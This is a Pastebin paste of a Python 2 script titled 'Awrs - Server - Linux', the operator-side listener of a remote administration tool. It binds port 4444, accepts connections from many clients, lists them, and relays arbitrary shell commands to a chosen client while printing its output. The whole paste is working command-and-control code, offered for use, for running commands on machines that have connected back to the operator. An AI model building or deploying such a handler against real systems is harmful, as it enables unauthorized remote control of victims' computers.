Advertisement
Guest User

Awrs - Server - Linux

a guest
Nov 3rd, 2014
645
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.65 KB | None | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. import os, sys
  4. from socket import *
  5.  
  6. host = "127.0.0.1"
  7. port = 4444
  8.  
  9. intro = """
  10. ____ ____ ____ ____
  11. ||A |||w |||r |||s ||
  12. ||__|||__|||__|||__||
  13. |/__\|/__\|/__\|/__\|
  14.  
  15. Coded by: dotcppfile
  16. Twitter: https://twitter.com/dotcppfile
  17. Blog: http://dotcppfile.worpdress.com"
  18. """
  19.  
  20. commands = """---------
  21. Commands:
  22. ---------
  23. accept        | Accept connections
  24. list          | List connections
  25. interact <id> | Interact with client
  26. stop          | Stop interacting with Client
  27. clear         | Clear the console
  28. quit          | Close all connections and quit
  29. credits       | Show Credits
  30. help          | Show this message
  31. \n"""
  32.  
  33. s=socket(AF_INET, SOCK_STREAM)
  34. s.settimeout(5) #this is needed in accept() later on
  35. s.bind((host,port))
  36. s.listen(10)
  37.  
  38. allConnections = []
  39. allAddresses = []
  40.  
  41. def getConnections():
  42.     for item in allConnections:
  43.         item.close() #close all old connections
  44.     #empty the lists
  45.     del allConnections[:]
  46.     del allAddresses[:]
  47.     #start all over
  48.     while 1:
  49.         try:
  50.             q,addr=s.accept() #will timeout after 5 seconds
  51.             q.setblocking(1) #needed later on in recv() / making an non-blocking socket object
  52.             allConnections.append(q)
  53.             allAddresses.append(addr)
  54.         except:
  55.             break
  56.  
  57. def main():
  58.     print intro, commands      
  59.     while 1:
  60.         command = raw_input("> ")
  61.         if (command == "accept"):
  62.             getConnections()
  63.             print "[INFO] Done Accepting\n"
  64.         elif(command == "list"):
  65.             print "--------\nClients:\n--------"
  66.             for item in allAddresses:
  67.                 print "%d - %s|%s" % (allAddresses.index(item) + 1, str(item[0]), str(item[1]))
  68.             print "\n"
  69.         elif("interact" in command):
  70.             chosenone = int(command.replace("interact ","")) - 1
  71.             if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
  72.                 print "[INFO] Interacting with %s" % str(allAddresses[chosenone])
  73.                 try:
  74.                     allConnections[chosenone].send("hellows123") #welcome message
  75.                     vtpath = allConnections[chosenone].recv(4096) + ">" #non blocking socket object / will timeout instantly if no data received
  76.                 except:
  77.                     print "[ERROR] Client closed the connection\n"
  78.                     break;
  79.                 while 1:
  80.                     data=raw_input(vtpath) #raw_input represents the client's sub process's current path
  81.                     if ((data != "stop") and ("cd " not in data) and ("upload " not in data)):
  82.                         try:
  83.                             allConnections[chosenone].send(data)
  84.                             msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
  85.                             print msg
  86.                         except:
  87.                             print "[ERROR] Client closed the connection\n"
  88.                             break;
  89.                     elif ("cd " in data): #dealing with the cd command
  90.                         try:
  91.                             allConnections[chosenone].send(data)
  92.                             msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
  93.                             vtpath = msg + ">"
  94.                         except:
  95.                             print "[ERROR] Client closed the connection\n"
  96.                             break;
  97.                     else:
  98.                         print "\n"
  99.                         break
  100.             else:
  101.                 print "[ERROR] Client doesn't exist\n"
  102.         elif(command == "clear"):
  103.             if sys.platform == 'win32':
  104.                 os.system("cls")
  105.             else:
  106.                 os.system("clear")
  107.         elif(command == "quit"):
  108.             for item in allConnections:
  109.                 try:
  110.                     item.send("exit") #send a message that will close the client connection
  111.                     item.close() #close socket objects
  112.                 except:
  113.                     print "[ERROR] %s closed the connection already\n" % item
  114.             s.close()
  115.             break;
  116.         elif(command == "help"):
  117.             print commands
  118.         elif(command == "credits"):
  119.             print "--------\nCredits:\n--------\nCoded by: dotcppfile\nTwitter: https://twitter.com/dotcppfile\nBlog: http://dotcppfile.worpdress.com\n"
  120.         else:
  121.             print "[ERROR] Invalid Command\n"
  122.            
  123. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement